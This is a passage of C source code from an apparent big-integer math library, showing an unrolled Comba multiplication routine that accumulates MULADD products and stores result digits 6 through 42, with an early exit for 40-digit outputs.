MULADD(at[0], at[70]); MULADD(at[1], at[69]); MULADD(at[2], at[68]); MULADD(at[3], at[67]); MULADD(at[4], at[66]); MULADD(at[5], at[65]); MULADD(at[6], at[64]);
COMBA_STORE(C->dp[6]);
/* 7 */
COMBA_FORWARD;
MULADD(at[0], at[71]); MULADD(at[1], at[70]); MULADD(at[2], at[69]); MULADD(at[3], at[68]); MULADD(at[4], at[67]); MULADD(at[5], at[66]); MULADD(at[6], at[65]); MULADD(at[7], at[64]);
COMBA_STORE(C->dp[7]);
/* 8 */
COMBA_FORWARD;
MULADD(at[0], at[72]); MULADD(at[1], at[71]); MULADD(at[2], at[70]); MULADD(at[3], at[69]); MULADD(at[4], at[68]); MULADD(at[5], at[67]); MULADD(at[6], at[66]); MULADD(at[7], at[65]); MULADD(at[8], at[64]);
COMBA_STORE(C->dp[8]);
/* 9 */
COMBA_FORWARD;
MULADD(at[0], at[73]); MULADD(at[1], at[72]); MULADD(at[2], at[71]); MULADD(at[3], at[70]); MULADD(at[4], at[69]); MULADD(at[5], at[68]); MULADD(at[6], at[67]); MULADD(at[7], at[66]); MULADD(at[8], at[65]); MULADD(at[9], at[64]);
COMBA_STORE(C->dp[9]);
/* 10 */
COMBA_FORWARD;
MULADD(at[0], at[74]); MULADD(at[1], at[73]); MULADD(at[2], at[72]); MULADD(at[3], at[71]); MULADD(at[4], at[70]); MULADD(at[5], at[69]); MULADD(at[6], at[68]); MULADD(at[7], at[67]); MULADD(at[8], at[66]); MULADD(at[9], at[65]); MULADD(at[10], at[64]);
COMBA_STORE(C->dp[10]);
/* 11 */
COMBA_FORWARD;
MULADD(at[0], at[75]); MULADD(at[1], at[74]); MULADD(at[2], at[73]); MULADD(at[3], at[72]); MULADD(at[4], at[71]); MULADD(at[5], at[70]); MULADD(at[6], at[69]); MULADD(at[7], at[68]); MULADD(at[8], at[67]); MULADD(at[9], at[66]); MULADD(at[10], at[65]); MULADD(at[11], at[64]);
COMBA_STORE(C->dp[11]);
/* 12 */
COMBA_FORWARD;
MULADD(at[0], at[76]); MULADD(at[1], at[75]); MULADD(at[2], at[74]); MULADD(at[3], at[73]); MULADD(at[4], at[72]); MULADD(at[5], at[71]); MULADD(at[6], at[70]); MULADD(at[7], at[69]); MULADD(at[8], at[68]); MULADD(at[9], at[67]); MULADD(at[10], at[66]); MULADD(at[11], at[65]); MULADD(at[12], at[64]);
COMBA_STORE(C->dp[12]);
/* 13 */
COMBA_FORWARD;
MULADD(at[0], at[77]); MULADD(at[1], at[76]); MULADD(at[2], at[75]); MULADD(at[3], at[74]); MULADD(at[4], at[73]); MULADD(at[5], at[72]); MULADD(at[6], at[71]); MULADD(at[7], at[70]); MULADD(at[8], at[69]); MULADD(at[9], at[68]); MULADD(at[10], at[67]); MULADD(at[11], at[66]); MULADD(at[12], at[65]); MULADD(at[13], at[64]);
COMBA_STORE(C->dp[13]);
/* 14 */
COMBA_FORWARD;
MULADD(at[0], at[78]); MULADD(at[1], at[77]); MULADD(at[2], at[76]); MULADD(at[3], at[75]); MULADD(at[4], at[74]); MULADD(at[5], at[73]); MULADD(at[6], at[72]); MULADD(at[7], at[71]); MULADD(at[8], at[70]); MULADD(at[9], at[69]); MULADD(at[10], at[68]); MULADD(at[11], at[67]); MULADD(at[12], at[66]); MULADD(at[13], at[65]); MULADD(at[14], at[64]);
COMBA_STORE(C->dp[14]);
/* 15 */
COMBA_FORWARD;
MULADD(at[0], at[79]); MULADD(at[1], at[78]); MULADD(at[2], at[77]); MULADD(at[3], at[76]); MULADD(at[4], at[75]); MULADD(at[5], at[74]); MULADD(at[6], at[73]); MULADD(at[7], at[72]); MULADD(at[8], at[71]); MULADD(at[9], at[70]); MULADD(at[10], at[69]); MULADD(at[11], at[68]); MULADD(at[12], at[67]); MULADD(at[13], at[66]); MULADD(at[14], at[65]); MULADD(at[15], at[64]);
COMBA_STORE(C->dp[15]);
/* 16 */
COMBA_FORWARD;
MULADD(at[0], at[80]); MULADD(at[1], at[79]); MULADD(at[2], at[78]); MULADD(at[3], at[77]); MULADD(at[4], at[76]); MULADD(at[5], at[75]); MULADD(at[6], at[74]); MULADD(at[7], at[73]); MULADD(at[8], at[72]); MULADD(at[9], at[71]); MULADD(at[10], at[70]); MULADD(at[11], at[69]); MULADD(at[12], at[68]); MULADD(at[13], at[67]); MULADD(at[14], at[66]); MULADD(at[15], at[65]); MULADD(at[16], at[64]);
COMBA_STORE(C->dp[16]);
/* 17 */
COMBA_FORWARD;
MULADD(at[0], at[81]); MULADD(at[1], at[80]); MULADD(at[2], at[79]); MULADD(at[3], at[78]); MULADD(at[4], at[77]); MULADD(at[5], at[76]); MULADD(at[6], at[75]); MULADD(at[7], at[74]); MULADD(at[8], at[73]); MULADD(at[9], at[72]); MULADD(at[10], at[71]); MULADD(at[11], at[70]); MULADD(at[12], at[69]); MULADD(at[13], at[68]); MULADD(at[14], at[67]); MULADD(at[15], at[66]); MULADD(at[16], at[65]); MULADD(at[17], at[64]);
COMBA_STORE(C->dp[17]);
/* 18 */
COMBA_FORWARD;
MULADD(at[0], at[82]); MULADD(at[1], at[81]); MULADD(at[2], at[80]); MULADD(at[3], at[79]); MULADD(at[4], at[78]); MULADD(at[5], at[77]); MULADD(at[6], at[76]); MULADD(at[7], at[75]); MULADD(at[8], at[74]); MULADD(at[9], at[73]); MULADD(at[10], at[72]); MULADD(at[11], at[71]); MULADD(at[12], at[70]); MULADD(at[13], at[69]); MULADD(at[14], at[68]); MULADD(at[15], at[67]); MULADD(at[16], at[66]); MULADD(at[17], at[65]); MULADD(at[18], at[64]);
COMBA_STORE(C->dp[18]);
/* 19 */
COMBA_FORWARD;
MULADD(at[0], at[83]); MULADD(at[1], at[82]); MULADD(at[2], at[81]); MULADD(at[3], at[80]); MULADD(at[4], at[79]); MULADD(at[5], at[78]); MULADD(at[6], at[77]); MULADD(at[7], at[76]); MULADD(at[8], at[75]); MULADD(at[9], at[74]); MULADD(at[10], at[73]); MULADD(at[11], at[72]); MULADD(at[12], at[71]); MULADD(at[13], at[70]); MULADD(at[14], at[69]); MULADD(at[15], at[68]); MULADD(at[16], at[67]); MULADD(at[17], at[66]); MULADD(at[18], at[65]); MULADD(at[19], at[64]);
COMBA_STORE(C->dp[19]);
/* 20 */
COMBA_FORWARD;
MULADD(at[0], at[84]); MULADD(at[1], at[83]); MULADD(at[2], at[82]); MULADD(at[3], at[81]); MULADD(at[4], at[80]); MULADD(at[5], at[79]); MULADD(at[6], at[78]); MULADD(at[7], at[77]); MULADD(at[8], at[76]); MULADD(at[9], at[75]); MULADD(at[10], at[74]); MULADD(at[11], at[73]); MULADD(at[12], at[72]); MULADD(at[13], at[71]); MULADD(at[14], at[70]); MULADD(at[15], at[69]); MULADD(at[16], at[68]); MULADD(at[17], at[67]); MULADD(at[18], at[66]); MULADD(at[19], at[65]); MULADD(at[20], at[64]);
COMBA_STORE(C->dp[20]);
/* 21 */
COMBA_FORWARD;
MULADD(at[0], at[85]); MULADD(at[1], at[84]); MULADD(at[2], at[83]); MULADD(at[3], at[82]); MULADD(at[4], at[81]); MULADD(at[5], at[80]); MULADD(at[6], at[79]); MULADD(at[7], at[78]); MULADD(at[8], at[77]); MULADD(at[9], at[76]); MULADD(at[10], at[75]); MULADD(at[11], at[74]); MULADD(at[12], at[73]); MULADD(at[13], at[72]); MULADD(at[14], at[71]); MULADD(at[15], at[70]); MULADD(at[16], at[69]); MULADD(at[17], at[68]); MULADD(at[18], at[67]); MULADD(at[19], at[66]); MULADD(at[20], at[65]); MULADD(at[21], at[64]);
COMBA_STORE(C->dp[21]);
/* 22 */
COMBA_FORWARD;
MULADD(at[0], at[86]); MULADD(at[1], at[85]); MULADD(at[2], at[84]); MULADD(at[3], at[83]); MULADD(at[4], at[82]); MULADD(at[5], at[81]); MULADD(at[6], at[80]); MULADD(at[7], at[79]); MULADD(at[8], at[78]); MULADD(at[9], at[77]); MULADD(at[10], at[76]); MULADD(at[11], at[75]); MULADD(at[12], at[74]); MULADD(at[13], at[73]); MULADD(at[14], at[72]); MULADD(at[15], at[71]); MULADD(at[16], at[70]); MULADD(at[17], at[69]); MULADD(at[18], at[68]); MULADD(at[19], at[67]); MULADD(at[20], at[66]); MULADD(at[21], at[65]); MULADD(at[22], at[64]);
COMBA_STORE(C->dp[22]);
/* 23 */
COMBA_FORWARD;
MULADD(at[0], at[87]); MULADD(at[1], at[86]); MULADD(at[2], at[85]); MULADD(at[3], at[84]); MULADD(at[4], at[83]); MULADD(at[5], at[82]); MULADD(at[6], at[81]); MULADD(at[7], at[80]); MULADD(at[8], at[79]); MULADD(at[9], at[78]); MULADD(at[10], at[77]); MULADD(at[11], at[76]); MULADD(at[12], at[75]); MULADD(at[13], at[74]); MULADD(at[14], at[73]); MULADD(at[15], at[72]); MULADD(at[16], at[71]); MULADD(at[17], at[70]); MULADD(at[18], at[69]); MULADD(at[19], at[68]); MULADD(at[20], at[67]); MULADD(at[21], at[66]); MULADD(at[22], at[65]); MULADD(at[23], at[64]);
COMBA_STORE(C->dp[23]);
/* 24 */
COMBA_FORWARD;
MULADD(at[0], at[88]); MULADD(at[1], at[87]); MULADD(at[2], at[86]); MULADD(at[3], at[85]); MULADD(at[4], at[84]); MULADD(at[5], at[83]); MULADD(at[6], at[82]); MULADD(at[7], at[81]); MULADD(at[8], at[80]); MULADD(at[9], at[79]); MULADD(at[10], at[78]); MULADD(at[11], at[77]); MULADD(at[12], at[76]); MULADD(at[13], at[75]); MULADD(at[14], at[74]); MULADD(at[15], at[73]); MULADD(at[16], at[72]); MULADD(at[17], at[71]); MULADD(at[18], at[70]); MULADD(at[19], at[69]); MULADD(at[20], at[68]); MULADD(at[21], at[67]); MULADD(at[22], at[66]); MULADD(at[23], at[65]); MULADD(at[24], at[64]);
COMBA_STORE(C->dp[24]);
/* 25 */
COMBA_FORWARD;
MULADD(at[0], at[89]); MULADD(at[1], at[88]); MULADD(at[2], at[87]); MULADD(at[3], at[86]); MULADD(at[4], at[85]); MULADD(at[5], at[84]); MULADD(at[6], at[83]); MULADD(at[7], at[82]); MULADD(at[8], at[81]); MULADD(at[9], at[80]); MULADD(at[10], at[79]); MULADD(at[11], at[78]); MULADD(at[12], at[77]); MULADD(at[13], at[76]); MULADD(at[14], at[75]); MULADD(at[15], at[74]); MULADD(at[16], at[73]); MULADD(at[17], at[72]); MULADD(at[18], at[71]); MULADD(at[19], at[70]); MULADD(at[20], at[69]); MULADD(at[21], at[68]); MULADD(at[22], at[67]); MULADD(at[23], at[66]); MULADD(at[24], at[65]); MULADD(at[25], at[64]);
COMBA_STORE(C->dp[25]);
/* 26 */
COMBA_FORWARD;
MULADD(at[0], at[90]); MULADD(at[1], at[89]); MULADD(at[2], at[88]); MULADD(at[3], at[87]); MULADD(at[4], at[86]); MULADD(at[5], at[85]); MULADD(at[6], at[84]); MULADD(at[7], at[83]); MULADD(at[8], at[82]); MULADD(at[9], at[81]); MULADD(at[10], at[80]); MULADD(at[11], at[79]); MULADD(at[12], at[78]); MULADD(at[13], at[77]); MULADD(at[14], at[76]); MULADD(at[15], at[75]); MULADD(at[16], at[74]); MULADD(at[17], at[73]); MULADD(at[18], at[72]); MULADD(at[19], at[71]); MULADD(at[20], at[70]); MULADD(at[21], at[69]); MULADD(at[22], at[68]); MULADD(at[23], at[67]); MULADD(at[24], at[66]); MULADD(at[25], at[65]); MULADD(at[26], at[64]);
COMBA_STORE(C->dp[26]);
/* 27 */
COMBA_FORWARD;
MULADD(at[0], at[91]); MULADD(at[1], at[90]); MULADD(at[2], at[89]); MULADD(at[3], at[88]); MULADD(at[4], at[87]); MULADD(at[5], at[86]); MULADD(at[6], at[85]); MULADD(at[7], at[84]); MULADD(at[8], at[83]); MULADD(at[9], at[82]); MULADD(at[10], at[81]); MULADD(at[11], at[80]); MULADD(at[12], at[79]); MULADD(at[13], at[78]); MULADD(at[14], at[77]); MULADD(at[15], at[76]); MULADD(at[16], at[75]); MULADD(at[17], at[74]); MULADD(at[18], at[73]); MULADD(at[19], at[72]); MULADD(at[20], at[71]); MULADD(at[21], at[70]); MULADD(at[22], at[69]); MULADD(at[23], at[68]); MULADD(at[24], at[67]); MULADD(at[25], at[66]); MULADD(at[26], at[65]); MULADD(at[27], at[64]);
COMBA_STORE(C->dp[27]);
/* 28 */
COMBA_FORWARD;
MULADD(at[0], at[92]); MULADD(at[1], at[91]); MULADD(at[2], at[90]); MULADD(at[3], at[89]); MULADD(at[4], at[88]); MULADD(at[5], at[87]); MULADD(at[6], at[86]); MULADD(at[7], at[85]); MULADD(at[8], at[84]); MULADD(at[9], at[83]); MULADD(at[10], at[82]); MULADD(at[11], at[81]); MULADD(at[12], at[80]); MULADD(at[13], at[79]); MULADD(at[14], at[78]); MULADD(at[15], at[77]); MULADD(at[16], at[76]); MULADD(at[17], at[75]); MULADD(at[18], at[74]); MULADD(at[19], at[73]); MULADD(at[20], at[72]); MULADD(at[21], at[71]); MULADD(at[22], at[70]); MULADD(at[23], at[69]); MULADD(at[24], at[68]); MULADD(at[25], at[67]); MULADD(at[26], at[66]); MULADD(at[27], at[65]); MULADD(at[28], at[64]);
COMBA_STORE(C->dp[28]);
/* 29 */
COMBA_FORWARD;
MULADD(at[0], at[93]); MULADD(at[1], at[92]); MULADD(at[2], at[91]); MULADD(at[3], at[90]); MULADD(at[4], at[89]); MULADD(at[5], at[88]); MULADD(at[6], at[87]); MULADD(at[7], at[86]); MULADD(at[8], at[85]); MULADD(at[9], at[84]); MULADD(at[10], at[83]); MULADD(at[11], at[82]); MULADD(at[12], at[81]); MULADD(at[13], at[80]); MULADD(at[14], at[79]); MULADD(at[15], at[78]); MULADD(at[16], at[77]); MULADD(at[17], at[76]); MULADD(at[18], at[75]); MULADD(at[19], at[74]); MULADD(at[20], at[73]); MULADD(at[21], at[72]); MULADD(at[22], at[71]); MULADD(at[23], at[70]); MULADD(at[24], at[69]); MULADD(at[25], at[68]); MULADD(at[26], at[67]); MULADD(at[27], at[66]); MULADD(at[28], at[65]); MULADD(at[29], at[64]);
COMBA_STORE(C->dp[29]);
/* 30 */
COMBA_FORWARD;
MULADD(at[0], at[94]); MULADD(at[1], at[93]); MULADD(at[2], at[92]); MULADD(at[3], at[91]); MULADD(at[4], at[90]); MULADD(at[5], at[89]); MULADD(at[6], at[88]); MULADD(at[7], at[87]); MULADD(at[8], at[86]); MULADD(at[9], at[85]); MULADD(at[10], at[84]); MULADD(at[11], at[83]); MULADD(at[12], at[82]); MULADD(at[13], at[81]); MULADD(at[14], at[80]); MULADD(at[15], at[79]); MULADD(at[16], at[78]); MULADD(at[17], at[77]); MULADD(at[18], at[76]); MULADD(at[19], at[75]); MULADD(at[20], at[74]); MULADD(at[21], at[73]); MULADD(at[22], at[72]); MULADD(at[23], at[71]); MULADD(at[24], at[70]); MULADD(at[25], at[69]); MULADD(at[26], at[68]); MULADD(at[27], at[67]); MULADD(at[28], at[66]); MULADD(at[29], at[65]); MULADD(at[30], at[64]);
COMBA_STORE(C->dp[30]);
/* 31 */
COMBA_FORWARD;
MULADD(at[0], at[95]); MULADD(at[1], at[94]); MULADD(at[2], at[93]); MULADD(at[3], at[92]); MULADD(at[4], at[91]); MULADD(at[5], at[90]); MULADD(at[6], at[89]); MULADD(at[7], at[88]); MULADD(at[8], at[87]); MULADD(at[9], at[86]); MULADD(at[10], at[85]); MULADD(at[11], at[84]); MULADD(at[12], at[83]); MULADD(at[13], at[82]); MULADD(at[14], at[81]); MULADD(at[15], at[80]); MULADD(at[16], at[79]); MULADD(at[17], at[78]); MULADD(at[18], at[77]); MULADD(at[19], at[76]); MULADD(at[20], at[75]); MULADD(at[21], at[74]); MULADD(at[22], at[73]); MULADD(at[23], at[72]); MULADD(at[24], at[71]); MULADD(at[25], at[70]); MULADD(at[26], at[69]); MULADD(at[27], at[68]); MULADD(at[28], at[67]); MULADD(at[29], at[66]); MULADD(at[30], at[65]); MULADD(at[31], at[64]);
COMBA_STORE(C->dp[31]);
/* 32 */
COMBA_FORWARD;
MULADD(at[0], at[96]); MULADD(at[1], at[95]); MULADD(at[2], at[94]); MULADD(at[3], at[93]); MULADD(at[4], at[92]); MULADD(at[5], at[91]); MULADD(at[6], at[90]); MULADD(at[7], at[89]); MULADD(at[8], at[88]); MULADD(at[9], at[87]); MULADD(at[10], at[86]); MULADD(at[11], at[85]); MULADD(at[12], at[84]); MULADD(at[13], at[83]); MULADD(at[14], at[82]); MULADD(at[15], at[81]); MULADD(at[16], at[80]); MULADD(at[17], at[79]); MULADD(at[18], at[78]); MULADD(at[19], at[77]); MULADD(at[20], at[76]); MULADD(at[21], at[75]); MULADD(at[22], at[74]); MULADD(at[23], at[73]); MULADD(at[24], at[72]); MULADD(at[25], at[71]); MULADD(at[26], at[70]); MULADD(at[27], at[69]); MULADD(at[28], at[68]); MULADD(at[29], at[67]); MULADD(at[30], at[66]); MULADD(at[31], at[65]); MULADD(at[32], at[64]);
COMBA_STORE(C->dp[32]);
/* 33 */
COMBA_FORWARD;
MULADD(at[0], at[97]); MULADD(at[1], at[96]); MULADD(at[2], at[95]); MULADD(at[3], at[94]); MULADD(at[4], at[93]); MULADD(at[5], at[92]); MULADD(at[6], at[91]); MULADD(at[7], at[90]); MULADD(at[8], at[89]); MULADD(at[9], at[88]); MULADD(at[10], at[87]); MULADD(at[11], at[86]); MULADD(at[12], at[85]); MULADD(at[13], at[84]); MULADD(at[14], at[83]); MULADD(at[15], at[82]); MULADD(at[16], at[81]); MULADD(at[17], at[80]); MULADD(at[18], at[79]); MULADD(at[19], at[78]); MULADD(at[20], at[77]); MULADD(at[21], at[76]); MULADD(at[22], at[75]); MULADD(at[23], at[74]); MULADD(at[24], at[73]); MULADD(at[25], at[72]); MULADD(at[26], at[71]); MULADD(at[27], at[70]); MULADD(at[28], at[69]); MULADD(at[29], at[68]); MULADD(at[30], at[67]); MULADD(at[31], at[66]); MULADD(at[32], at[65]); MULADD(at[33], at[64]);
COMBA_STORE(C->dp[33]);
/* 34 */
COMBA_FORWARD;
MULADD(at[0], at[98]); MULADD(at[1], at[97]); MULADD(at[2], at[96]); MULADD(at[3], at[95]); MULADD(at[4], at[94]); MULADD(at[5], at[93]); MULADD(at[6], at[92]); MULADD(at[7], at[91]); MULADD(at[8], at[90]); MULADD(at[9], at[89]); MULADD(at[10], at[88]); MULADD(at[11], at[87]); MULADD(at[12], at[86]); MULADD(at[13], at[85]); MULADD(at[14], at[84]); MULADD(at[15], at[83]); MULADD(at[16], at[82]); MULADD(at[17], at[81]); MULADD(at[18], at[80]); MULADD(at[19], at[79]); MULADD(at[20], at[78]); MULADD(at[21], at[77]); MULADD(at[22], at[76]); MULADD(at[23], at[75]); MULADD(at[24], at[74]); MULADD(at[25], at[73]); MULADD(at[26], at[72]); MULADD(at[27], at[71]); MULADD(at[28], at[70]); MULADD(at[29], at[69]); MULADD(at[30], at[68]); MULADD(at[31], at[67]); MULADD(at[32], at[66]); MULADD(at[33], at[65]); MULADD(at[34], at[64]);
COMBA_STORE(C->dp[34]);
/* 35 */
COMBA_FORWARD;
MULADD(at[0], at[99]); MULADD(at[1], at[98]); MULADD(at[2], at[97]); MULADD(at[3], at[96]); MULADD(at[4], at[95]); MULADD(at[5], at[94]); MULADD(at[6], at[93]); MULADD(at[7], at[92]); MULADD(at[8], at[91]); MULADD(at[9], at[90]); MULADD(at[10], at[89]); MULADD(at[11], at[88]); MULADD(at[12], at[87]); MULADD(at[13], at[86]); MULADD(at[14], at[85]); MULADD(at[15], at[84]); MULADD(at[16], at[83]); MULADD(at[17], at[82]); MULADD(at[18], at[81]); MULADD(at[19], at[80]); MULADD(at[20], at[79]); MULADD(at[21], at[78]); MULADD(at[22], at[77]); MULADD(at[23], at[76]); MULADD(at[24], at[75]); MULADD(at[25], at[74]); MULADD(at[26], at[73]); MULADD(at[27], at[72]); MULADD(at[28], at[71]); MULADD(at[29], at[70]); MULADD(at[30], at[69]); MULADD(at[31], at[68]); MULADD(at[32], at[67]); MULADD(at[33], at[66]); MULADD(at[34], at[65]); MULADD(at[35], at[64]);
COMBA_STORE(C->dp[35]);
/* 36 */
COMBA_FORWARD;
MULADD(at[0], at[100]); MULADD(at[1], at[99]); MULADD(at[2], at[98]); MULADD(at[3], at[97]); MULADD(at[4], at[96]); MULADD(at[5], at[95]); MULADD(at[6], at[94]); MULADD(at[7], at[93]); MULADD(at[8], at[92]); MULADD(at[9], at[91]); MULADD(at[10], at[90]); MULADD(at[11], at[89]); MULADD(at[12], at[88]); MULADD(at[13], at[87]); MULADD(at[14], at[86]); MULADD(at[15], at[85]); MULADD(at[16], at[84]); MULADD(at[17], at[83]); MULADD(at[18], at[82]); MULADD(at[19], at[81]); MULADD(at[20], at[80]); MULADD(at[21], at[79]); MULADD(at[22], at[78]); MULADD(at[23], at[77]); MULADD(at[24], at[76]); MULADD(at[25], at[75]); MULADD(at[26], at[74]); MULADD(at[27], at[73]); MULADD(at[28], at[72]); MULADD(at[29], at[71]); MULADD(at[30], at[70]); MULADD(at[31], at[69]); MULADD(at[32], at[68]); MULADD(at[33], at[67]); MULADD(at[34], at[66]); MULADD(at[35], at[65]); MULADD(at[36], at[64]);
COMBA_STORE(C->dp[36]);
/* 37 */
COMBA_FORWARD;
MULADD(at[0], at[101]); MULADD(at[1], at[100]); MULADD(at[2], at[99]); MULADD(at[3], at[98]); MULADD(at[4], at[97]); MULADD(at[5], at[96]); MULADD(at[6], at[95]); MULADD(at[7], at[94]); MULADD(at[8], at[93]); MULADD(at[9], at[92]); MULADD(at[10], at[91]); MULADD(at[11], at[90]); MULADD(at[12], at[89]); MULADD(at[13], at[88]); MULADD(at[14], at[87]); MULADD(at[15], at[86]); MULADD(at[16], at[85]); MULADD(at[17], at[84]); MULADD(at[18], at[83]); MULADD(at[19], at[82]); MULADD(at[20], at[81]); MULADD(at[21], at[80]); MULADD(at[22], at[79]); MULADD(at[23], at[78]); MULADD(at[24], at[77]); MULADD(at[25], at[76]); MULADD(at[26], at[75]); MULADD(at[27], at[74]); MULADD(at[28], at[73]); MULADD(at[29], at[72]); MULADD(at[30], at[71]); MULADD(at[31], at[70]); MULADD(at[32], at[69]); MULADD(at[33], at[68]); MULADD(at[34], at[67]); MULADD(at[35], at[66]); MULADD(at[36], at[65]); MULADD(at[37], at[64]);
COMBA_STORE(C->dp[37]);
/* 38 */
COMBA_FORWARD;
MULADD(at[0], at[102]); MULADD(at[1], at[101]); MULADD(at[2], at[100]); MULADD(at[3], at[99]); MULADD(at[4], at[98]); MULADD(at[5], at[97]); MULADD(at[6], at[96]); MULADD(at[7], at[95]); MULADD(at[8], at[94]); MULADD(at[9], at[93]); MULADD(at[10], at[92]); MULADD(at[11], at[91]); MULADD(at[12], at[90]); MULADD(at[13], at[89]); MULADD(at[14], at[88]); MULADD(at[15], at[87]); MULADD(at[16], at[86]); MULADD(at[17], at[85]); MULADD(at[18], at[84]); MULADD(at[19], at[83]); MULADD(at[20], at[82]); MULADD(at[21], at[81]); MULADD(at[22], at[80]); MULADD(at[23], at[79]); MULADD(at[24], at[78]); MULADD(at[25], at[77]); MULADD(at[26], at[76]); MULADD(at[27], at[75]); MULADD(at[28], at[74]); MULADD(at[29], at[73]); MULADD(at[30], at[72]); MULADD(at[31], at[71]); MULADD(at[32], at[70]); MULADD(at[33], at[69]); MULADD(at[34], at[68]); MULADD(at[35], at[67]); MULADD(at[36], at[66]); MULADD(at[37], at[65]); MULADD(at[38], at[64]);
COMBA_STORE(C->dp[38]);
/* early out at 40 digits, 40*32==1280, or two 640 bit operands */
if (out_size <= 40) { COMBA_STORE2(C->dp[39]); C->used = 40; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 39 */
COMBA_FORWARD;
MULADD(at[0], at[103]); MULADD(at[1], at[102]); MULADD(at[2], at[101]); MULADD(at[3], at[100]); MULADD(at[4], at[99]); MULADD(at[5], at[98]); MULADD(at[6], at[97]); MULADD(at[7], at[96]); MULADD(at[8], at[95]); MULADD(at[9], at[94]); MULADD(at[10], at[93]); MULADD(at[11], at[92]); MULADD(at[12], at[91]); MULADD(at[13], at[90]); MULADD(at[14], at[89]); MULADD(at[15], at[88]); MULADD(at[16], at[87]); MULADD(at[17], at[86]); MULADD(at[18], at[85]); MULADD(at[19], at[84]); MULADD(at[20], at[83]); MULADD(at[21], at[82]); MULADD(at[22], at[81]); MULADD(at[23], at[80]); MULADD(at[24], at[79]); MULADD(at[25], at[78]); MULADD(at[26], at[77]); MULADD(at[27], at[76]); MULADD(at[28], at[75]); MULADD(at[29], at[74]); MULADD(at[30], at[73]); MULADD(at[31], at[72]); MULADD(at[32], at[71]); MULADD(at[33], at[70]); MULADD(at[34], at[69]); MULADD(at[35], at[68]); MULADD(at[36], at[67]); MULADD(at[37], at[66]); MULADD(at[38], at[65]); MULADD(at[39], at[64]);
COMBA_STORE(C->dp[39]);
/* 40 */
COMBA_FORWARD;
MULADD(at[0], at[104]); MULADD(at[1], at[103]); MULADD(at[2], at[102]); MULADD(at[3], at[101]); MULADD(at[4], at[100]); MULADD(at[5], at[99]); MULADD(at[6], at[98]); MULADD(at[7], at[97]); MULADD(at[8], at[96]); MULADD(at[9], at[95]); MULADD(at[10], at[94]); MULADD(at[11], at[93]); MULADD(at[12], at[92]); MULADD(at[13], at[91]); MULADD(at[14], at[90]); MULADD(at[15], at[89]); MULADD(at[16], at[88]); MULADD(at[17], at[87]); MULADD(at[18], at[86]); MULADD(at[19], at[85]); MULADD(at[20], at[84]); MULADD(at[21], at[83]); MULADD(at[22], at[82]); MULADD(at[23], at[81]); MULADD(at[24], at[80]); MULADD(at[25], at[79]); MULADD(at[26], at[78]); MULADD(at[27], at[77]); MULADD(at[28], at[76]); MULADD(at[29], at[75]); MULADD(at[30], at[74]); MULADD(at[31], at[73]); MULADD(at[32], at[72]); MULADD(at[33], at[71]); MULADD(at[34], at[70]); MULADD(at[35], at[69]); MULADD(at[36], at[68]); MULADD(at[37], at[67]); MULADD(at[38], at[66]); MULADD(at[39], at[65]); MULADD(at[40], at[64]);
COMBA_STORE(C->dp[40]);
/* 41 */
COMBA_FORWARD;
MULADD(at[0], at[105]); MULADD(at[1], at[104]); MULADD(at[2], at[103]); MULADD(at[3], at[102]); MULADD(at[4], at[101]); MULADD(at[5], at[100]); MULADD(at[6], at[99]); MULADD(at[7], at[98]); MULADD(at[8], at[97]); MULADD(at[9], at[96]); MULADD(at[10], at[95]); MULADD(at[11], at[94]); MULADD(at[12], at[93]); MULADD(at[13], at[92]); MULADD(at[14], at[91]); MULADD(at[15], at[90]); MULADD(at[16], at[89]); MULADD(at[17], at[88]); MULADD(at[18], at[87]); MULADD(at[19], at[86]); MULADD(at[20], at[85]); MULADD(at[21], at[84]); MULADD(at[22], at[83]); MULADD(at[23], at[82]); MULADD(at[24], at[81]); MULADD(at[25], at[80]); MULADD(at[26], at[79]); MULADD(at[27], at[78]); MULADD(at[28], at[77]); MULADD(at[29], at[76]); MULADD(at[30], at[75]); MULADD(at[31], at[74]); MULADD(at[32], at[73]); MULADD(at[33], at[72]); MULADD(at[34], at[71]); MULADD(at[35], at[70]); MULADD(at[36], at[69]); MULADD(at[37], at[68]); MULADD(at[38], at[67]); MULADD(at[39], at[66]); MULADD(at[40], at[65]); MULADD(at[41], at[64]);
COMBA_STORE(C->dp[41]);
/* 42 */
COMBA_FORWARD;
MULADD(at[0], at[106]); MULADD(at[1], at[105]); MULADD(at[2], at[104]); MULADD(at[3], at[103]); MULADD(at[4], at[102]); MULADD(at[5], at[101]); MULADD(at[6], at[100]); MULADD(at[7], at[99]); MULADD(at[8], at[98]); MULADD(at[9], at[97]); MULADD(at[10], at[96]); MULADD(at[11], at[95]); MULADD(at[12], at[94]); MULADD(at[13], at[93]); MULADD(at[14], at[92]); MULADD(at[15], at[91]); MULADD(at[16], at[90]); MULADD(at[17], at[89]); MULADD(at[18], at[88]); MULADD(at[19], at[87]); MULADD(at[20], at[86]); MULADD(at[21], at[85]); MULADD(at[22], at[84]); MULADD(at[23], at[83]); MULADD(at[24], at[82]); MULADD(at[25], at[81]); MULADD(at[26], at[80]); MULADD(at[27], at[79]); MULADD(at[28], at[78]); MULADD(at[29], at[77]); MULADD(at[30], at[76]); MULADD(at[31], at[75]); MULADD(at[32], at[74]); MULADD(at[33], at[73]); MULADD(at[34], at[72]); MULADD(at[35], at[71]); MULADD(at[36], at[70]); MULADD(at[37], at[69]); MULADD(at[38], at[68]); MULADD(at[39], at[67]); MULADD(at[40], at[66]); MULADD(at[41], at[65]); MULADD(at[42], at[64]);
COMBA_STORE(C->dp[42]);
/* 43 */
COMBA_FORWARD;
MULADD(at[0], at[107]); MULADD(at[1], at[106]); MULADD(at[2], at[105]); MULADD(at[3], at[104]); MULADD(at[4], at[103]); MULADD(at[5], at[102]); MULADD(at[6], at[101]); MULADD(at[7], at[100]); MULADD(at[8], at[99]); MULADD(at[9], at[98]); MULADD(at[10], at[97]); MULADD(at[11], at[96]); MULADD(at[12], at[95]); MULADD(at[13], at[94]); MULADD(at[14], at[93]); MULADD(at[15], at[92]); MULADD(at[16], at[91]); MULADD(at[17], at[90]); MULADD(at[18], at[89]); MULADD(at[19], at[88]); MULADD(at[20], at[87]); MULADD(at[21], at[86]); MULADD(at[22], at[85]); MULADD(at[23], at[84]); MULADD(at[24], at[83]); MULADD(at[25], at[82]); MULADD(at[26], at[81]); MULADD(at[27], at[80]); MULADD(at[28], at[79]); MULADD(at[29], at[78]); MULADD(at[30], at[77]); MULADD(at[31], at[76]); MULADD(at[32], at[75]); MULADD(at[33], at[74]); MULADD(at[34], at[73]); MULADD(at[35], at[72]); MULADD(at[36], at[71]); MULADD(at[37], at[70]); 